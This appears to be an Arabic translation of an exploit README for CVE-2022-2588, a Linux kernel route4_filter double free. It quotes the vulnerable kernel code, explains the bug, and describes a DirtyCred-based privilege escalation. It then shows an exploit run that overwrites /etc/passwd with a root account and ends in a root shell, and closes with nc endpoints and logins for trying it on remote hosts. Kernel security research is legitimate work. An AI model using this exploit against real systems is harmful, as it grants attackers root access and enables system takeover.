
استغلال لـ CVE-2022-2588
تم إصلاح الثغرة في Linux v5.19 بواسطة هذا commit.
تم إدخال الخلل في Linux v3.17 بواسطة هذا commit في عام 2014. يتطلب تفعيله User Namespaces. هذا الخلل مشابه جدًا لـ CVE-2021-3715، الذي نتج عن عملية غير صحيحة على القائمة المرتبطة بـ route4_filter. يمكن العثور على مزيد من التفاصيل حول CVE-2021-3715 في محاضرة Black Hat (صفحة 16). فيما يلي بعض التفاصيل الموجزة عن CVE-2022-2588.
static int route4_change(...)
{
...
f = kzalloc(sizeof(struct route4_filter), GFP_KERNEL); [0]
...
// if there exists a filter with the same handler, copy some information
if (fold) { [1]
f->id = fold->id;
f->iif = fold->iif;
f->res = fold->res;
f->handle = fold->handle;
f->tp = fold->tp;
f->bkt = fold->bkt;
new = false;
}
// initialize the new filter
err = route4_set_parms(net, tp, base, f, handle, head, tb, [2]
tca[TCA_RATE], new, flags, extack);
if (err < 0)
goto errout;
// insert the new filter to the list
h = from_hash(f->handle >> 16); [3]
fp = &f->bkt->ht[h];
for (pfp = rtnl_dereference(*fp);
(f1 = rtnl_dereference(*fp)) != NULL;
fp = &f1->next)
if (f->handle < f1->handle)
break;
tcf_block_netif_keep_dst(tp->chain->block);
rcu_assign_pointer(f->next, f1);
rcu_assign_pointer(*fp, f);
// remove fold filter from the list if fold exists
if (fold && fold->handle && f->handle != fold->handle) { [4]
th = to_hash(fold->handle);
h = from_hash(fold->handle >> 16);
b = rtnl_dereference(head->table[th]);
if (b) {
fp = &b->ht[h];
for (pfp = rtnl_dereference(*fp); pfp;
fp = &pfp->next, pfp = rtnl_dereference(*fp)) {
if (pfp == fold) {
rcu_assign_pointer(*fp, fold->next); [5]// remove the old from the linked list
break;
}
}
}
}
...
// free the fold filter if it exists [6]
if (fold) {
tcf_unbind_filter(tp, &fold->res);
tcf_exts_get_net(&fold->exts);
tcf_queue_work(&fold->rwork, route4_delete_filter_work);
}
هذه الدالة مُنفَّذة لتهيئة/استبدال كائن route4_filter. يستخدم الفلتر handle كمعرّف فريد للتمييز بين كل فلتر. إذا وُجد handle تمت تهيئته من قبل (أي أن المتغير fold ليس فارغًا)، فسيقوم بتحديث الفلتر عن طريق إزالة الفلتر القديم وإضافة فلتر جديد، وإلا فسيضيف فلترًا جديدًا فقط.
في [0]، تخصص النواة كائن route4_filter. في [1]، إذا لم يكن fold فارغًا، مما يعني وجود فلتر بنفس handle، فسيتم نسخ بعض المعلومات إلى الفلتر الجديد وتهيئة الفلتر الجديد في [2]، ثم إدراج الفلتر الجديد في القائمة في [3]. إذا كان الفلتر القديم موجودًا، فسيتم إزالته من القائمة في [4] وتحريره في [6].
يحدث الخلل في [4]، والذي يتحقق مما إذا كان هناك فلتر قديم يجب إزالته. يضمن الشرط ألا يكون handle صفرًا ويجب أن يطابق handle الفلتر الجديد. هذا الشرط لا يتوافق مع شرط تحرير الفلتر في [6]، الذي يتحقق فقط من وجود الفلتر القديم. لذلك، إذا أنشأ المستخدمون فلترًا يكون handle الخاص به 0، ثم قاموا بتحفيز استبداله، فلن يتم فك ارتباط الفلتر في [4] ولكن سيتم تحريره في [6] لأن الشرطين ليسا متطابقين.
بما أن هذا الخلل مشابه لـ CVE-2021-3715، فإن البدائيات (primitives) الخاصة بهما متطابقة تقريبًا. يمكن للقراء الرجوع إلى محاضرة Black Hat للحصول على وصف أكثر تفصيلاً للبدائيات. يعرض هذا الشرح الاستغلال باستخدام فكرة DirtyCred.
نظرًا لأن fold المحرر لا يزال في القائمة المرتبطة بعد تحفيز الخلل، فيمكننا تحرير fold مرة أخرى، مما سيؤدي في النهاية إلى تحرير مزدوج (double free) على كائن route4_filer وكائن route4_filter->exts.action إذا كان CONFIG_NET_CLS_ACT مفعّلاً.
تستخدم أكواد الاستغلال هاتين الإمكانيتين للتحرير المزدوج لإظهار الهجوم على بيانات اعتماد المهام (باستخدام تحرير مزدوج لـ kmalloc-192، قريبًا) وبيانات اعتماد الملفات المفتوحة (باستخدام تحرير مزدوج لـ kmalloc-256).
باتباع فكرة DirtyCred، يقوم كود الاستغلال بتبديل بيانات اعتماد الملف بعد فحوصات الصلاحيات، لذلك يمكننا كتابة أي محتوى إلى ملفات بصلاحية القراءة. من الناحية المثالية، يمكن أن يعمل الكود عبر جميع إصدارات النواة المتأثرة بالخلل. يُلاحظ أنه لضمان عمل الكود على النوى الأقدم حيث يتم عزل msg_msg في kmalloc-rcl-*، يستخدم الاستغلال كائن رش (spray) مختلفًا.
[zip@localhost ~]$ ./exp_file
self path /home/zip/./exp_file
prepare done
Old limits -> soft limit= 14096 hard limit= 14096
starting exploit, num of cores: 32
defrag done
spray 256 done
freed the filter object
256 freed done
double free done
spraying files
found overlap, id : 257, 1061
start slow write
closed overlap
got cmd, start spraying /etc/passwd
spray done
write done, spent 1.621078 s
should be after the slow write
succeed
[zip@localhost ~]$ head -n 4 /etc/passwd
user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[zip@localhost ~]$ su user # the password is user
Password:
sh-4.4# id
uid=0(user) gid=0(root) groups=0(root)
تمت كتابة الاستغلال ليعمل على أكبر عدد ممكن من التوزيعات. وقد تم التأكد من عمله على:
(لا تتردد في إرسال PR لتحديث ذلك إذا وجدت أنه يعمل على نوى أخرى.)
يرجى تسجيل الدخول باسم المستخدم low وكلمة المرور low
Ubuntu 20
nc 150.136.171.117 1337
Centos 8
nc 150.136.171.117 1338